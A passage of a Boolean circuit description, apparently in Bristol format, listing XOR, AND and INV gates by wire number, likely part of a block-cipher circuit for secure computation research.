XOR +2 1 20139 20133 20160 XOR +2 1 33511 20139 20122 XOR +2 1 20122 20085 20167 XOR +2 1 20174 20166 20165 AND +2 1 20165 20135 20125 XOR +2 1 20125 20127 20164 XOR +2 1 20165 20189 20083 XOR +2 1 20122 20083 20075 XOR +2 1 20112 20075 20082 XOR +2 1 20079 20082 20163 XOR +2 1 20125 20078 20161 XOR +2 1 20075 20076 20159 XOR +2 1 20160 20197 20158 AND +2 1 20167 20196 20157 AND +2 1 20170 33510 20156 AND +2 1 20156 20158 20138 XOR +2 1 20161 20191 20155 AND +2 1 20164 20203 20154 AND +2 1 20174 20193 20153 AND +2 1 20153 20154 20092 XOR +2 1 20162 20194 20152 AND +2 1 20159 20192 20151 AND +2 1 20151 20154 20107 XOR +1 1 20107 20104 INV +2 1 20151 20152 20103 XOR +2 1 20163 20195 20150 AND +2 1 20160 20201 20149 AND +2 1 20167 20198 20148 AND +2 1 20170 20202 20147 AND +2 1 20161 20206 20146 AND +2 1 20146 20150 20123 XOR +2 1 20155 20146 20108 XOR +1 1 20123 20101 INV +2 1 20164 20199 20145 AND +2 1 20153 20145 20110 XOR +2 1 20174 20200 20144 AND +2 1 20101 20144 20100 XOR +2 1 20100 20138 20096 XOR +2 1 20162 20205 20143 AND +2 1 20143 20096 20099 XOR +2 1 20159 20207 20142 AND +2 1 20142 20143 20137 XOR +2 1 20148 20137 20119 XOR +2 1 20149 20119 20120 XOR +2 1 20157 20120 20124 XOR +2 1 20158 20124 20129 XOR +2 1 20110 20137 20106 XOR +2 1 20138 20106 20109 XOR +2 1 20108 20109 20211 XOR +2 1 20101 20106 20105 XOR +2 1 20104 20105 20210 XOR +2 1 20129 20103 20209 XOR +2 1 35256 20209 6580 XOR +2 1 6579 6580 35167 XOR +2 1 35167 920 33741 XOR +2 1 20119 20096 20095 XOR +2 1 20156 20124 20093 XOR +2 1 20092 20093 35249 XOR +2 1 6684 35249 6548 XOR +2 1 6547 6548 6546 XOR +1 1 6546 35187 INV +2 1 35187 900 33761 XOR +2 1 20163 20204 20141 AND +2 1 20152 20141 20102 XOR +1 1 20102 20098 INV +2 1 20098 20099 20208 XOR +1 1 20209 35251 INV +2 1 35251 32946 6653 XOR +2 1 6653 32783 6543 XOR +2 1 6543 6544 35190 XOR +2 1 35190 897 33764 XOR +2 1 6653 6613 6556 XOR +2 1 32784 6556 35182 XOR +2 1 35182 905 33756 XOR +2 1 5896 5893 34890 XOR +2 1 34890 356 33537 XOR +2 1 33535 33537 17331 XOR +2 1 33536 17331 17333 XOR +2 1 33540 17333 17414 XOR +2 1 33539 17333 17411 XOR +2 1 17338 17333 17413 XOR +2 1 33537 33536 17308 XOR +2 1 17426 17411 17407 AND +2 1 17407 17332 17336 XOR +2 1 17420 17413 17405 AND +2 1 33239 35004 5747 XOR +2 1 5746 5747 34891 XOR +2 1 34891 355 33538 XOR +2 1 33538 33540 17334 XOR +2 1 33538 33541 17425 XOR +2 1 17425 17348 17421 XOR +2 1 17331 17425 17417 XOR +2 1 33534 17417 17416 XOR +2 1 33536 33538 17427 XOR +2 1 17332 17427 17412 XOR +2 1 17334 17332 17294 XOR +2 1 17331 17294 17415 XOR +2 1 17334 33539 17293 XOR +2 1 33534 17293 17422 XOR +2 1 17417 17421 17410 AND +2 1 17410 17334 17337 XOR +2 1 17418 17416 17409 AND +2 1 17422 33534 17408 AND +2 1 17425 17414 17404 AND +2 1 17404 17333 17335 XOR +2 1 17337 17335 17341 XOR +2 1 33541 17341 17346 XOR +2 1 17427 17412 17403 AND +2 1 17403 17409 17355 XOR +2 1 17355 17346 17401 XOR +2 1 17403 17404 17307 XOR +2 1 17307 17308 17354 XOR +2 1 17354 17336 17353 XOR +2 1 17406 17353 17400 XOR +2 1 17424 17415 17402 AND +2 1 17402 17405 17356 XOR +2 1 17402 17408 17360 XOR +2 1 17360 17332 17347 XOR +2 1 17355 17347 17398 XOR +2 1 17403 17356 17350 XOR +2 1 17336 17356 17310 XOR +2 1 17310 17335 17399 XOR +2 1 17341 17360 17309 XOR +2 1 33539 17309 17352 XOR +2 1 17406 17350 17306 XOR +2 1 33535 17306 17393 XOR +2 1 17401 17400 17397 AND +2 1 17397 17352 17392 XOR +2 1 17397 17399 17396 XOR +2 1 17398 17396 17395 AND +2 1 17395 17352 17394 XOR +2 1 17395 17407 17301 XOR +2 1 17301 17337 17297 XOR +2 1 33541 17297 17300 XOR +2 1 17395 17346 17298 XOR +2 1 33539 17297 17296 XOR +2 1 17392 17393 17391 AND +2 1 17391 17399 17390 XOR +2 1 17397 17391 17389 XOR +2 1 17391 17350 17305 XOR +2 1 17391 17408 17304 XOR +2 1 17304 17405 17299 XOR +2 1 17299 17300 17382 XOR +2 1 17399 17389 17388 AND +2 1 17388 17396 17386 XOR +2 1 17388 17406 17359 XOR +2 1 17359 17353 17380 XOR +2 1 33535 17359 17342 XOR +2 1 17342 17305 17387 XOR +2 1 17394 17386 17385 AND +2 1 17385 17355 17345 XOR +2 1 17345 17347 17384 XOR +2 1 17385 17409 17303 XOR +2 1 17342 17303 17295 XOR +2 1 17332 17295 17302 XOR +2 1 17299 17302 17383 XOR +2 1 17345 17298 17381 XOR +2 1 17295 17296 17379 XOR +2 1 17380 17417 17378 AND +2 1 17387 17416 17377 AND +2 1 17390 33534 17376 AND +2 1 17376 17378 17358 XOR +2 1 17381 17411 17375 AND +2 1 17384 17423 17374 AND +2 1 17394 17413 17373 AND +2 1 17373 17374 17312 XOR +2 1 17382 17414 17372 AND +2 1 17379 17412 17371 AND +2 1 17371 17374 17327 XOR +1 1 17327 17324 INV +2 1 17371 17372 17323 XOR +2 1 17383 17415 17370 AND +2 1 17380 17421 17369 AND +2 1 17387 17418 17368 AND +2 1 17390 17422 17367 AND +2 1 17381 17426 17366 AND +2 1 17366 17370 17343 XOR +2 1 17375 17366 17328 XOR +1 1 17343 17321 INV +2 1 17384 17419 17365 AND +2 1 17373 17365 17330 XOR +2 1 17394 17420 17364 AND +2 1 17321 17364 17320 XOR +2 1 17320 17358 17316 XOR +2 1 17382 17425 17363 AND +2 1 17363 17316 17319 XOR +2 1 17379 17427 17362 AND +2 1 17362 17363 17357 XOR +2 1 17368 17357 17339 XOR +2 1 17369 17339 17340 XOR +2 1 17377 17340 17344 XOR +2 1 17378 17344 17349 XOR +2 1 17330 17357 17326 XOR +2 1 17358 17326 17329 XOR +2 1 17328 17329 17431 XOR +2 1 17321 17326 17325 XOR +2 1 17324 17325 17430 XOR +2 1 17349 17323 17429 XOR +2 1 17429 35201 6427 XOR +2 1 17339 17316 17315 XOR +2 1 17376 17344 17313 XOR +2 1 17312 17313 35208 XOR +2 1 6530 35208 6529 XOR +2 1 6528 6529 35083 XOR +2 1 35083 1004 33657 XOR +2 1 35204 35208 6649 XOR +2 1 6650 6649 6514 XOR +1 1 6514 6512 INV +2 1 17383 17424 17361 AND +2 1 17372 17361 17322 XOR +1 1 17322 17318 INV +2 1 17318 17319 17428 XOR +1 1 17429 35210 INV +2 1 35208 35198 6345 XOR +2 1 6645 17429 6521 XOR +2 1 6521 6522 35086 XOR +2 1 35086 1001 33660 XOR +2 1 32895 35210 6639 XOR +2 1 6647 6639 6537 XOR +2 1 32903 6537 35078 XOR +2 1 6639 32902 6446 XOR +2 1 6639 6595 6508 XOR +2 1 35206 6508 35095 XOR +2 1 35078 1009 33652 XOR +2 1 35095 992 33669 XOR +2 1 35249 35262 6614 XOR +2 1 6682 6614 35179 XOR +2 1 35179 908 33753 XOR +2 1 6614 6605 6585 XOR +2 1 6653 6588 6564 XOR +2 1 6664 6649 35075 XOR +2 1 35075 1012 33649 XOR +2 1 17374 17375 32678 XOR +2 1 32678 17349 35209 XOR +2 1 35205 35209 6646 XOR +2 1 6596 35209 6381 XOR +2 1 6381 6382 6666 XOR +2 1 35209 6058 6464 XOR +2 1 6647 6646 6511 XOR +2 1 32894 6511 35093 XOR +2 1 6666 6650 35084 XOR +2 1 35084 1003 33658 XOR +2 1 33658 33660 19697 XOR +2 1 35093 994 33667 XOR +2 1 33667 33669 23170 XOR +2 1 6541 6646 6539 XOR +2 1 6539 6540 35076 XOR +2 1 35076 1011 33650 XOR +2 1 33650 33652 16639 XOR +2 1 17371 32678 17351 XOR +2 1 17367 17351 17317 XOR +1 1 17317 17314 INV +2 1 17314 17315 35207 XOR +2 1 17372 17351 17311 XOR +2 1 17340 17311 35211 XOR +2 1 6688 35211 6519 XOR +2 1 6519 6520 35087 XOR +2 1 35192 35207 6637 XOR +2 1 6637 6636 6531 XOR +2 1 35196 6531 35082 XOR +2 1 35082 1005 33656 XOR +2 1 33656 33658 19790 XOR +2 1 33657 33656 19671 XOR +1 1 6637 6499 INV +2 1 6649 6499 6496 XOR +2 1 6499 32777 6568 XOR +2 1 6568 6569 35074 XOR +2 1 35074 1013 33648 XOR +2 1 33648 33650 16732 XOR +2 1 33649 33648 16613 XOR +2 1 35206 35211 6594 XOR +2 1 6645 6594 6536 XOR +2 1 35195 6536 35079 XOR +2 1 35079 1008 33653 XOR +2 1 33650 33653 16730 XOR +2 1 33653 33648 16729 XOR +1 1 6594 6685 INV +2 1 6685 32903 6426 XOR +2 1 6426 6427 35071 XOR +2 1 6685 35205 6513 XOR +2 1 6512 6513 35092 XOR +2 1 35092 995 33666 XOR +2 1 35071 1016 33645 XOR +2 1 6685 35207 6389 XOR +2 1 6389 6390 6662 XOR +2 1 33666 33669 23263 XOR +2 1 6662 6659 35091 XOR +2 1 35091 996 33665 XOR +2 1 35195 35211 6602 XOR +1 1 6602 6498 INV +2 1 6498 35197 6497 XOR +2 1 6496 6497 35067 XOR +2 1 35067 1020 33641 XOR +2 1 6602 35193 6344 XOR +2 1 6344 6345 6681 XOR +2 1 6635 6602 6587 XOR +2 1 6681 6646 35068 XOR +2 1 35068 1019 33642 XOR +2 1 33642 33645 14645 XOR +2 1 6635 6594 6518 XOR +2 1 32897 6518 35088 XOR +2 1 35088 999 33662 XOR +2 1 35087 1000 33661 XOR +2 1 33658 33661 19788 XOR +2 1 33661 33656 19787 XOR +2 1 20154 20155 32698 XOR +2 1 32698 20129 35250 XOR +1 1 35250 6394 INV +2 1 35254 6394 6393 XOR +2 1 35263 6394 6583 XOR +2 1 6582 6583 35165 XOR +2 1 35165 922 33739 XOR +2 1 33739 33741 21780 XOR +2 1 35250 35255 6654 XOR +2 1 6660 6654 35188 XOR +2 1 35188 899 33762 XOR +2 1 33762 33764 20670 XOR +2 1 6654 6608 6559 XOR +2 1 6559 6560 35180 XOR +2 1 35180 907 33754 XOR +2 1 33754 33756 19419 XOR +2 1 20151 32698 20131 XOR +2 1 20147 20131 20097 XOR +1 1 20097 20094 INV +2 1 20094 20095 35248 XOR +2 1 20152 20131 20091 XOR +2 1 20120 20091 35252 XOR +2 1 35252 35264 6600 XOR +2 1 6638 6600 6399 XOR +2 1 32948 6399 35160 XOR +2 1 35160 927 33734 XOR +2 1 6600 35248 6356 XOR +2 1 6356 6357 6676 XOR +2 1 35248 35253 6628 XOR +2 1 6628 35261 6561 XOR +2 1 6628 6618 6549 XOR +2 1 35257 6549 35186 XOR +2 1 6561 6562 35178 XOR +2 1 35178 909 33752 XOR +2 1 35186 901 33760 XOR +2 1 6628 6614 6573 XOR +2 1 33752 33754 19512 XOR +2 1 33753 33752 19393 XOR +1 1 6573 6571 INV +2 1 33760 33762 20763 XOR +2 1 33761 33760 20644 XOR +2 1 6600 35255 6586 XOR +2 1 35252 6564 35175 XOR +2 1 35175 912 33749 XOR +2 1 6585 6586 35164 XOR +2 1 35164 923 33738 XOR +2 1 33738 33741 21873 XOR +2 1 6676 6608 35163 XOR +2 1 35163 924 33737 XOR +2 1 35252 35256 6589 XOR +2 1 6638 6589 6578 XOR +2 1 6589 35264 6554 XOR +2 1 6611 6589 6542 XOR +2 1 35260 6542 35191 XOR +2 1 35191 896 33765 XOR +2 1 33762 33765 20761 XOR +2 1 33765 33760 20760 XOR +2 1 6554 6555 35183 XOR +2 1 35183 904 33757 XOR +2 1 33754 33757 19510 XOR +2 1 33757 33752 19509 XOR +1 1 6589 6687 INV +2 1 6687 35258 6572 XOR +2 1 6687 35249 6392 XOR +2 1 6392 6393 6661 XOR +2 1 6571 6572 35171 XOR +2 1 35171 916 33745 XOR +2 1 6661 6605 35172 XOR +2 1 35172 915 33746 XOR +2 1 33746 33749 17981 XOR +1 1 17431 32929 INV +2 1 6594 32929 6387 XOR +2 1 6387 6388 6663 XOR +2 1 32897 32929 6658 XOR +2 1 6658 6596 6535 XOR +2 1 32778 6535 35080 XOR +2 1 35080 1007 33654 XOR +2 1 6658 6636 6526 XOR +2 1 6658 6595 6410 XOR +2 1 32896 6410 35072 XOR +2 1 35072 1015 33646 XOR +2 1 33646 33652 16643 XOR +2 1 33654 33660 19701 XOR +2 1 32929 6587 35064 XOR +2 1 35064 1023 33638 XOR +2 1 6663 6636 35089 XOR +2 1 35089 998 33663 XOR +2 1 33663 33665 23169 XOR +2 1 23169 23263 23255 XOR +2 1 33662 23255 23254 XOR +2 1 33669 33663 23264 XOR +1 1 17428 32935 INV +2 1 32894 32935 6642 XOR +2 1 6645 6642 6509 XOR +2 1 32895 6509 35094 XOR +2 1 6642 35194 6465 XOR +1 1 6465 6463 INV +2 1 6463 6464 35069 XOR +2 1 32935 6059 6447 XOR +2 1 6446 6447 6445 XOR +1 1 6445 35070 INV +2 1 35070 1017 33644 XOR +2 1 35094 993 33668 XOR +2 1 35069 1018 33643 XOR +2 1 33638 33644 14558 XOR +2 1 33643 14558 14643 XOR +2 1 33643 33645 14552 XOR +2 1 14552 14558 14640 XOR +2 1 33642 33644 14554 XOR +2 1 14554 33643 14513 XOR +2 1 14554 14552 14514 XOR +2 1 33638 14513 14642 XOR +2 1 14642 33638 14628 AND +2 1 6647 32935 6523 XOR +2 1 6523 6524 35085 XOR +2 1 35085 1002 33659 XOR +2 1 33659 33661 19695 XOR +2 1 19695 19790 19775 XOR +2 1 19695 19701 19783 XOR +2 1 33659 19701 19786 XOR +2 1 19697 19695 19657 XOR +2 1 19697 33659 19656 XOR +2 1 33654 19656 19785 XOR +2 1 19785 33654 19771 AND +2 1 19790 19775 19766 AND +2 1 6650 6642 6538 XOR +2 1 33666 33668 23172 XOR +2 1 33662 33668 23176 XOR +2 1 23170 23176 23258 XOR +2 1 33667 23176 23261 XOR +2 1 33663 23261 23257 XOR +2 1 23172 23170 23132 XOR +2 1 23169 23132 23253 XOR +2 1 23172 33667 23131 XOR +2 1 33662 23131 23260 XOR +2 1 23260 33662 23246 AND +2 1 23261 23257 23244 AND +2 1 32902 6538 35077 XOR +2 1 35077 1010 33651 XOR +2 1 33651 33653 16637 XOR +2 1 16637 16732 16717 XOR +2 1 16637 16643 16725 XOR +2 1 33651 16643 16728 XOR +2 1 16639 16637 16599 XOR +2 1 16639 33651 16598 XOR +2 1 33646 16598 16727 XOR +2 1 16727 33646 16713 AND +2 1 16732 16717 16708 AND +1 1 17430 32936 INV +2 1 32936 14789 6516 XOR +2 1 6515 6516 35090 XOR +2 1 35090 997 33664 XOR +2 1 6498 32936 6527 XOR +2 1 6526 6527 6525 XOR +1 1 6525 35065 INV +2 1 35065 1022 33639 XOR +2 1 33639 14643 14639 XOR +2 1 14643 14639 14626 AND +2 1 33639 33641 14551 XOR +2 1 33645 33639 14646 XOR +2 1 14551 14645 14637 XOR +2 1 14551 14514 14635 XOR +2 1 32904 32936 6657 XOR +2 1 6657 6635 6533 XOR +2 1 6533 6534 6532 XOR +1 1 6532 35081 INV +2 1 6657 6634 6510 XOR +2 1 35207 6510 35066 XOR +2 1 35081 1006 33655 XOR +2 1 35066 1021 33640 XOR +2 1 33645 33640 14644 XOR +2 1 14644 14635 14622 AND +2 1 33639 33640 14568 XOR +2 1 14645 14568 14641 XOR +2 1 33640 33642 14647 XOR +2 1 14568 14640 14638 XOR +2 1 33640 14551 14553 XOR +2 1 33643 14553 14631 XOR +2 1 14558 14553 14633 XOR +2 1 14646 14631 14627 AND +2 1 14640 14633 14625 AND +2 1 14627 14552 14556 XOR +2 1 14622 14628 14580 XOR +2 1 14580 14552 14567 XOR +2 1 14622 14625 14576 XOR +2 1 14556 14576 14530 XOR +2 1 33641 33640 14528 XOR +2 1 14637 14641 14630 AND +2 1 14630 14554 14557 XOR +2 1 33655 33657 19694 XOR +2 1 33656 19694 19696 XOR +2 1 33660 19696 19777 XOR +2 1 33659 19696 19774 XOR +2 1 19701 19696 19776 XOR +2 1 33655 19786 19782 XOR +2 1 19694 19788 19780 XOR +2 1 33654 19780 19779 XOR +2 1 33655 33656 19711 XOR +2 1 19711 19783 19781 XOR +2 1 19788 19711 19784 XOR +2 1 19694 19657 19778 XOR +2 1 33661 33655 19789 XOR +2 1 19780 19784 19773 AND +2 1 19773 19697 19700 XOR +2 1 19781 19779 19772 AND +2 1 19766 19772 19718 XOR +2 1 19789 19774 19770 AND +2 1 19770 19695 19699 XOR +2 1 19786 19782 19769 AND +2 1 19783 19776 19768 AND +2 1 19788 19777 19767 AND +2 1 19767 19696 19698 XOR +2 1 19700 19698 19704 XOR +2 1 33661 19704 19709 XOR +2 1 19718 19709 19764 XOR +2 1 19766 19767 19670 XOR +2 1 19670 19671 19717 XOR +2 1 19717 19699 19716 XOR +2 1 19769 19716 19763 XOR +2 1 19787 19778 19765 AND +2 1 19765 19768 19719 XOR +2 1 19765 19771 19723 XOR +2 1 19723 19695 19710 XOR +2 1 19718 19710 19761 XOR +2 1 19766 19719 19713 XOR +2 1 19699 19719 19673 XOR +2 1 19673 19698 19762 XOR +2 1 19704 19723 19672 XOR +2 1 33659 19672 19715 XOR +2 1 19769 19713 19669 XOR +2 1 33655 19669 19756 XOR +2 1 19764 19763 19760 AND +2 1 19760 19715 19755 XOR +2 1 19760 19762 19759 XOR +2 1 19761 19759 19758 AND +2 1 19758 19715 19757 XOR +2 1 19758 19770 19664 XOR +2 1 19664 19700 19660 XOR +2 1 33661 19660 19663 XOR +2 1 19758 19709 19661 XOR +2 1 33659 19660 19659 XOR +2 1 19755 19756 19754 AND +2 1 19754 19762 19753 XOR +2 1 19760 19754 19752 XOR +2 1 19754 19713 19668 XOR +2 1 19754 19771 19667 XOR +2 1 19667 19768 19662 XOR +2 1 19662 19663 19745 XOR +2 1 19762 19752 19751 AND +2 1 19751 19759 19749 XOR +2 1 19751 19769 19722 XOR +2 1 19722 19716 19743 XOR +2 1 33655 19722 19705 XOR +2 1 19705 19668 19750 XOR +2 1 19757 19749 19748 AND +2 1 19748 19718 19708 XOR +2 1 19708 19710 19747 XOR +2 1 19748 19772 19666 XOR +2 1 19705 19666 19658 XOR +2 1 19695 19658 19665 XOR +2 1 19662 19665 19746 XOR +2 1 19708 19661 19744 XOR +2 1 19658 19659 19742 XOR +2 1 19743 19780 19741 AND +2 1 19750 19779 19740 AND +2 1 19753 33654 19739 AND +2 1 19739 19741 19721 XOR +2 1 19744 19774 19738 AND +2 1 19747 19786 19737 AND +2 1 19757 19776 19736 AND +2 1 19736 19737 19675 XOR +2 1 19745 19777 19735 AND +2 1 19742 19775 19734 AND +2 1 19734 19737 19690 XOR +1 1 19690 19687 INV +2 1 19734 19735 19686 XOR +2 1 19746 19778 19733 AND +2 1 19743 19784 19732 AND +2 1 19750 19781 19731 AND +2 1 19753 19785 19730 AND +2 1 19744 19789 19729 AND +2 1 19729 19733 19706 XOR +2 1 19738 19729 19691 XOR +1 1 19706 19684 INV +2 1 19747 19782 19728 AND +2 1 19736 19728 19693 XOR +2 1 19757 19783 19727 AND +2 1 19684 19727 19683 XOR +2 1 19683 19721 19679 XOR +2 1 19745 19788 19726 AND +2 1 19726 19679 19682 XOR +2 1 19742 19790 19725 AND +2 1 19725 19726 19720 XOR +2 1 19731 19720 19702 XOR +2 1 19732 19702 19703 XOR +2 1 19740 19703 19707 XOR +2 1 19741 19707 19712 XOR +2 1 19693 19720 19689 XOR +2 1 19721 19689 19692 XOR +2 1 19691 19692 19794 XOR +2 1 19684 19689 19688 XOR +2 1 19687 19688 19793 XOR +2 1 19712 19686 19792 XOR +2 1 19702 19679 19678 XOR +2 1 19739 19707 19676 XOR +2 1 19675 19676 35423 XOR +2 1 35423 35427 7107 XOR +2 1 19746 19787 19724 AND +2 1 19735 19724 19685 XOR +1 1 19685 19681 INV +2 1 19681 19682 19791 XOR +2 1 33644 14553 14634 XOR +2 1 14645 14634 14624 AND +2 1 14624 14553 14555 XOR +2 1 14557 14555 14561 XOR +2 1 33645 14561 14566 XOR +2 1 14530 14555 14619 XOR +2 1 14561 14580 14529 XOR +2 1 33643 14529 14572 XOR +2 1 33638 14637 14636 XOR +2 1 14638 14636 14629 AND +2 1 14552 14647 14632 XOR +2 1 14647 14632 14623 AND +2 1 14623 14629 14575 XOR +2 1 14575 14567 14618 XOR +2 1 14575 14566 14621 XOR +2 1 14623 14576 14570 XOR +2 1 14626 14570 14526 XOR +2 1 14623 14624 14527 XOR +2 1 14527 14528 14574 XOR +2 1 14574 14556 14573 XOR +2 1 14626 14573 14620 XOR +2 1 14621 14620 14617 AND +2 1 14617 14619 14616 XOR +2 1 14618 14616 14615 AND +2 1 14615 14572 14614 XOR +2 1 14614 14640 14584 AND +2 1 14614 14633 14593 AND +2 1 14615 14627 14521 XOR +2 1 33639 14526 14613 XOR +2 1 14521 14557 14517 XOR +2 1 33643 14517 14516 XOR +2 1 33645 14517 14520 XOR +2 1 14615 14566 14518 XOR +2 1 14617 14572 14612 XOR +2 1 14612 14613 14611 AND +2 1 14611 14619 14610 XOR +2 1 14610 33638 14596 AND +2 1 14617 14611 14609 XOR +2 1 14619 14609 14608 AND +2 1 14608 14616 14606 XOR +2 1 14614 14606 14605 AND +2 1 14605 14575 14565 XOR +2 1 14565 14567 14604 XOR +2 1 14604 14639 14585 AND +2 1 14593 14585 14550 XOR +2 1 14604 14643 14594 AND +2 1 14593 14594 14532 XOR +2 1 14610 14642 14587 AND +2 1 14608 14626 14579 XOR +2 1 33639 14579 14562 XOR +2 1 14611 14570 14525 XOR +2 1 14562 14525 14607 XOR +2 1 14607 14636 14597 AND +2 1 14607 14638 14588 AND +2 1 14611 14628 14524 XOR +2 1 14524 14625 14519 XOR +2 1 14605 14629 14523 XOR +2 1 14562 14523 14515 XOR +2 1 14515 14516 14599 XOR +2 1 14599 14647 14582 AND +2 1 14552 14515 14522 XOR +2 1 14519 14522 14603 XOR +2 1 14603 14644 14581 AND +2 1 14599 14632 14591 AND +2 1 14603 14635 14590 AND +2 1 14591 14594 14547 XOR +1 1 14547 14544 INV +2 1 14519 14520 14602 XOR +2 1 14602 14645 14583 AND +2 1 14602 14634 14592 AND +2 1 14582 14583 14577 XOR +2 1 14591 14592 14543 XOR +2 1 14592 14581 14542 XOR +2 1 14550 14577 14546 XOR +1 1 14542 14538 INV +2 1 14588 14577 14559 XOR +2 1 14565 14518 14601 XOR +2 1 14601 14631 14595 AND +2 1 14601 14646 14586 AND +2 1 14586 14590 14563 XOR +2 1 14595 14586 14548 XOR +1 1 14563 14541 INV +2 1 14541 14546 14545 XOR +2 1 14544 14545 14650 XOR +2 1 14541 14584 14540 XOR +2 1 14579 14573 14600 XOR +2 1 14600 14637 14598 AND +2 1 14600 14641 14589 AND +2 1 14589 14559 14560 XOR +2 1 14597 14560 14564 XOR +2 1 14596 14564 14533 XOR +2 1 14598 14564 14569 XOR +2 1 14569 14543 14649 XOR +1 1 14649 35452 INV +2 1 14532 14533 35450 XOR +2 1 14596 14598 14578 XOR +2 1 14540 14578 14536 XOR +2 1 14583 14536 14539 XOR +2 1 14538 14539 14648 XOR +2 1 14559 14536 14535 XOR +2 1 14578 14546 14549 XOR +2 1 14548 14549 14651 XOR +2 1 33664 23169 23171 XOR +2 1 33668 23171 23252 XOR +2 1 33667 23171 23249 XOR +2 1 23176 23171 23251 XOR +2 1 33663 33664 23186 XOR +2 1 23186 23258 23256 XOR +2 1 23263 23186 23259 XOR +2 1 33664 33666 23265 XOR +2 1 23170 23265 23250 XOR +2 1 33665 33664 23146 XOR +2 1 33669 33664 23262 XOR +2 1 23255 23259 23248 AND +2 1 23248 23172 23175 XOR +2 1 23256 23254 23247 AND +2 1 23264 23249 23245 AND +2 1 23245 23170 23174 XOR +2 1 23258 23251 23243 AND +2 1 23263 23252 23242 AND +2 1 23242 23171 23173 XOR +2 1 23175 23173 23179 XOR +2 1 33669 23179 23184 XOR +2 1 23265 23250 23241 AND +2 1 23241 23247 23193 XOR +2 1 23193 23184 23239 XOR +2 1 23241 23242 23145 XOR +2 1 23145 23146 23192 XOR +2 1 23192 23174 23191 XOR +2 1 23244 23191 23238 XOR +2 1 23262 23253 23240 AND +2 1 23240 23243 23194 XOR +2 1 23240 23246 23198 XOR +2 1 23198 23170 23185 XOR +2 1 23193 23185 23236 XOR +2 1 23241 23194 23188 XOR +2 1 23174 23194 23148 XOR +2 1 23148 23173 23237 XOR +2 1 23179 23198 23147 XOR +2 1 33667 23147 23190 XOR +2 1 23244 23188 23144 XOR +2 1 33663 23144 23231 XOR +2 1 23239 23238 23235 AND +2 1 23235 23190 23230 XOR +2 1 23235 23237 23234 XOR +2 1 23236 23234 23233 AND +2 1 23233 23190 23232 XOR +2 1 23233 23245 23139 XOR +2 1 23139 23175 23135 XOR +2 1 33669 23135 23138 XOR +2 1 23233 23184 23136 XOR +2 1 33667 23135 23134 XOR +2 1 23230 23231 23229 AND +2 1 23229 23237 23228 XOR +2 1 23235 23229 23227 XOR +2 1 23229 23188 23143 XOR +2 1 23229 23246 23142 XOR +2 1 23142 23243 23137 XOR +2 1 23137 23138 23220 XOR +2 1 23237 23227 23226 AND +2 1 23226 23234 23224 XOR +2 1 23226 23244 23197 XOR +2 1 23197 23191 23218 XOR +2 1 33663 23197 23180 XOR +2 1 23180 23143 23225 XOR +2 1 23232 23224 23223 AND +2 1 23223 23193 23183 XOR +2 1 23183 23185 23222 XOR +2 1 23223 23247 23141 XOR +2 1 23180 23141 23133 XOR +2 1 23170 23133 23140 XOR +2 1 23137 23140 23221 XOR +2 1 23183 23136 23219 XOR +2 1 23133 23134 23217 XOR +2 1 23218 23255 23216 AND +2 1 23225 23254 23215 AND +2 1 23228 33662 23214 AND +2 1 23214 23216 23196 XOR +2 1 23219 23249 23213 AND +2 1 23222 23261 23212 AND +2 1 23232 23251 23211 AND +2 1 23211 23212 23150 XOR +2 1 23220 23252 23210 AND +2 1 23217 23250 23209 AND +2 1 23209 23212 23165 XOR +1 1 23165 23162 INV +2 1 23209 23210 23161 XOR +2 1 23221 23253 23208 AND +2 1 23218 23259 23207 AND +2 1 23225 23256 23206 AND +2 1 23228 23260 23205 AND +2 1 23219 23264 23204 AND +2 1 23204 23208 23181 XOR +2 1 23213 23204 23166 XOR +1 1 23181 23159 INV +2 1 23222 23257 23203 AND +2 1 23211 23203 23168 XOR +2 1 23232 23258 23202 AND +2 1 23159 23202 23158 XOR +2 1 23158 23196 23154 XOR +2 1 23220 23263 23201 AND +2 1 23201 23154 23157 XOR +2 1 23217 23265 23200 AND +2 1 23200 23201 23195 XOR +2 1 23206 23195 23177 XOR +2 1 23207 23177 23178 XOR +2 1 23215 23178 23182 XOR +2 1 23216 23182 23187 XOR +2 1 23168 23195 23164 XOR +2 1 23196 23164 23167 XOR +2 1 23166 23167 23269 XOR +2 1 23159 23164 23163 XOR +2 1 23162 23163 23268 XOR +2 1 23187 23161 23267 XOR +2 1 23267 35402 6916 XOR +2 1 7135 23267 7011 XOR +2 1 23177 23154 23153 XOR +2 1 23214 23182 23151 XOR +2 1 23150 23151 35409 XOR +2 1 35409 35399 6834 XOR +2 1 23221 23262 23199 AND +2 1 23210 23199 23160 XOR +1 1 23160 23156 INV +2 1 23156 23157 23266 XOR +1 1 23267 35411 INV +2 1 6665 6657 35073 XOR +2 1 35073 1014 33647 XOR +2 1 33647 33649 16636 XOR +2 1 33648 16636 16638 XOR +2 1 33652 16638 16719 XOR +2 1 33651 16638 16716 XOR +2 1 16643 16638 16718 XOR +2 1 33647 16728 16724 XOR +2 1 16636 16730 16722 XOR +2 1 33646 16722 16721 XOR +2 1 33647 33648 16653 XOR +2 1 16653 16725 16723 XOR +2 1 16730 16653 16726 XOR +2 1 16636 16599 16720 XOR +2 1 33653 33647 16731 XOR +2 1 16722 16726 16715 AND +2 1 16715 16639 16642 XOR +2 1 16723 16721 16714 AND +2 1 16708 16714 16660 XOR +2 1 16731 16716 16712 AND +2 1 16712 16637 16641 XOR +2 1 16728 16724 16711 AND +2 1 16725 16718 16710 AND +2 1 16730 16719 16709 AND +2 1 16709 16638 16640 XOR +2 1 16642 16640 16646 XOR +2 1 33653 16646 16651 XOR +2 1 16660 16651 16706 XOR +2 1 16708 16709 16612 XOR +2 1 16612 16613 16659 XOR +2 1 16659 16641 16658 XOR +2 1 16711 16658 16705 XOR +2 1 16729 16720 16707 AND +2 1 16707 16710 16661 XOR +2 1 16707 16713 16665 XOR +2 1 16665 16637 16652 XOR +2 1 16660 16652 16703 XOR +2 1 16708 16661 16655 XOR +2 1 16641 16661 16615 XOR +2 1 16615 16640 16704 XOR +2 1 16646 16665 16614 XOR +2 1 33651 16614 16657 XOR +2 1 16711 16655 16611 XOR +2 1 33647 16611 16698 XOR +2 1 16706 16705 16702 AND +2 1 16702 16657 16697 XOR +2 1 16702 16704 16701 XOR +2 1 16703 16701 16700 AND +2 1 16700 16657 16699 XOR +2 1 16700 16712 16606 XOR +2 1 16606 16642 16602 XOR +2 1 33653 16602 16605 XOR +2 1 16700 16651 16603 XOR +2 1 33651 16602 16601 XOR +2 1 16697 16698 16696 AND +2 1 16696 16704 16695 XOR +2 1 16702 16696 16694 XOR +2 1 16696 16655 16610 XOR +2 1 16696 16713 16609 XOR +2 1 16609 16710 16604 XOR +2 1 16604 